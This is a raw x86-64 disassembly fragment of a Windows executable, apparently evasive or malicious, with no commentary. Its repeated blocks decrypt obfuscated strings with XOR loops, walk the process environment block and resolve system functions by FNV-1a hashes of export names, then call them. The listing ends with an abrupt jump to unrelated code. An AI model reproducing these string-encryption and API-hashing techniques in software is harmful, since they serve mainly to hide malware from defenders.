mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1430]
call rdx
movups xmm0, xmmword [0x14008d918]
movups xmmword [rbp + 0xc38], xmm0
movups xmm1, xmmword [0x14008d928]
movups xmmword [rbp + 0xc48], xmm1
movups xmm0, xmmword [0x14008d938]
movups xmmword [rbp + 0xc58], xmm0
movzx eax, word [0x14008d948]
mov word [rbp + 0xc68], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140007b95
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xc3c]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140007a90
cmp r8d, 0x32
jge 0x140007be0
movsxd rax, r8d
lea r9, [rbp + 0xc38]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140007bb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x140007c7b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140007c7b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8b2ffe0a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140007c71
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140007c50
cmp r8d, 0xb9842df3
je 0x140007c80
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x140007c30
mov rax, qword [rax]
jmp 0x140007c00
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xc38]
call rdx
mov eax, dword [0x14008d574]
mov dword [rsp + 0x64], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140007d80
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140007d43
movdqa xmm3, xmmword [0x14008e970]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008e9d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008e9d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14008e9c0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x64], xmm2
jmp 0x140007d80
lea r9, [rsp + 0x64]
xor r8d, r8d
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140007d50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x140007e1b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140007e1b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1c1a49d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140007e11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140007df0
cmp r8d, 0xc8b2f534
je 0x140007e20
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x140007dd0
mov rax, qword [rax]
jmp 0x140007da0
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x64]
call rdx
mov edx, 5
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rcx, [rbp + 0x18e8]
call fcn.140015920
lea rcx, [rbp + 0x18e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x15f0]
call fcn.140014c10
call fcn.140003ef0
xor ecx, ecx
call fcn.140003f60
jmp 0x140005643
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [0x14008e220]
movups xmmword [rbp + 0xb18], xmm0
movups xmm1, xmmword [0x14008e230]
movups xmmword [rbp + 0xb28], xmm1
movsd xmm0, qword [0x14008e240]
movsd qword [rbp + 0xb38], xmm0
mov eax, dword [0x14008e248]
mov dword [rbp + 0xb40], eax
movzx eax, word [0x14008e24c]
mov word [rbp + 0xb44], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140008025
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb1c]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140007f20
cmp r8d, 0x2e
jge 0x140008070
movsxd rax, r8d
lea r9, [rbp + 0xb18]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140008040
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000810b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000810b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1c429ce5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140008101
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400080e0
cmp r8d, 0xcb2f8bbc
je 0x140008110
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x1400080c0
mov rax, qword [rax]
jmp 0x140008090
mov r8, qword [rsp + 0x38]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp + 0xb18]
call rax
movups xmm0, xmmword [0x14008e1a0]
movups xmmword [rbp + 0x1490], xmm0
movups xmm1, xmmword [0x14008e1b0]
movups xmmword [rbp + 0x14a0], xmm1
movups xmm0, xmmword [0x14008e1c0]
movups xmmword [rbp + 0x14b0], xmm0
movups xmm1, xmmword [0x14008e1d0]
movups xmmword [rbp + 0x14c0], xmm1
movups xmm0, xmmword [0x14008e1e0]
movups xmmword [rbp + 0x14d0], xmm0
movsd xmm0, qword [0x14008e1f0]
movsd qword [rbp + 0x14e0], xmm0
mov eax, dword [0x14008e1f8]
mov dword [rbp + 0x14e8], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400082e5
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1494]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400081e0
cmp r8d, 0x5c
jge 0x140008330
movsxd rax, r8d
lea r9, [rbp + 0x1490]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140008300
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x1400083cb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400083cb
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x87ed6cdf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400083c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400083a0
cmp r8d, 0xb100e43e
je 0x1400083d0
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x140008380
mov rax, qword [rax]
jmp 0x140008350
mov r8, qword [rsp + 0x38]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp + 0x1490]
call rax
movups xmm0, xmmword [0x14008db90]
movups xmmword [rbp + 0x1560], xmm0
movups xmm1, xmmword [0x14008dba0]
movups xmmword [rbp + 0x1570], xmm1
movups xmm0, xmmword [0x14008dbb0]
movups xmmword [rbp + 0x1580], xmm0
movups xmm1, xmmword [0x14008dbc0]
movups xmmword [rbp + 0x1590], xmm1
movups xmm0, xmmword [0x14008dbd0]
movups xmmword [rbp + 0x15a0], xmm0
movups xmm1, xmmword [0x14008dbe0]
movups xmmword [rbp + 0x15b0], xmm1
movzx eax, word [0x14008dbf0]
mov word [rbp + 0x15c0], ax
movzx eax, byte [0x14008dbf2]
mov byte [rbp + 0x15c2], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400085b5
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1564]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x1400084b0
cmp r8d, 0x63
jge 0x140008600
movsxd rax, r8d
lea r9, [rbp + 0x1560]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x63
jl 0x1400085d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000869b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000869b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xdbd30e20
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140008691
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140008670
cmp r8d, 0xda98a221
je 0x1400086a0
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x140008650
mov rax, qword [rax]
jmp 0x140008620
mov r8, qword [rsp + 0x38]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp + 0x1560]
call rax
movups xmm0, xmmword [0x14008e370]
movups xmmword [rbp + 0x1310], xmm0
movups xmm1, xmmword [0x14008e380]
movups xmmword [rbp + 0x1320], xmm1
movups xmm0, xmmword [0x14008e390]
movups xmmword [rbp + 0x1330], xmm0
movups xmm1, xmmword [0x14008e3a0]
movups xmmword [rbp + 0x1340], xmm1
movups xmm0, xmmword [0x14008e3b0]
movups xmmword [rbp + 0x1350], xmm0
movsd xmm0, qword [0x14008e3c0]
movsd qword [rbp + 0x1360], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000885f
movdqa xmm5, xmmword [0x14008e970]
xor edx, edx
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1314]
mov r8d, dword [rsp + 0x40]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x140008760
jmp 0x1400088a0
lea r9, [rbp + 0x1310]
xor r8d, r8d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x140008870
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000893b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000893b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x744f53e2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140008931
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140008910
cmp r8d, 0xf866124b
je 0x140008940
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x1400088f0
mov rax, qword [rax]
jmp 0x1400088c0
mov r8, qword [rsp + 0x38]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp + 0x1310]
call rax
movups xmm0, xmmword [0x14008dcc0]
movups xmmword [rbp + 0x14f0], xmm0
movups xmm1, xmmword [0x14008dcd0]
movups xmmword [rbp + 0x1500], xmm1
movups xmm0, xmmword [0x14008dce0]
movups xmmword [rbp + 0x1510], xmm0
movups xmm1, xmmword [0x14008dcf0]
movups xmmword [rbp + 0x1520], xmm1
movups xmm0, xmmword [0x14008dd00]
movups xmmword [rbp + 0x1530], xmm0
movups xmm1, xmmword [0x14008dd10]
movups xmmword [rbp + 0x1540], xmm1
movzx eax, byte [0x14008dd20]
mov byte [rbp + 0x1550], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140008b15
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x14f4]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x140008a10
cmp r8d, 0x61
jge 0x140008b60
movsxd rax, r8d
lea r9, [rbp + 0x14f0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x61
jl 0x140008b30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x140008bfb
mov eax, dword [0x14008d574]
mov dword [rsp + 0x6c], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14000e0e0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000e0a1
movdqa xmm3, xmmword [0x14008e970]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008e9d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008e9d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14008e9c0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
jmp 0x14000e0e0
lea r9, [rsp + 0x6c]
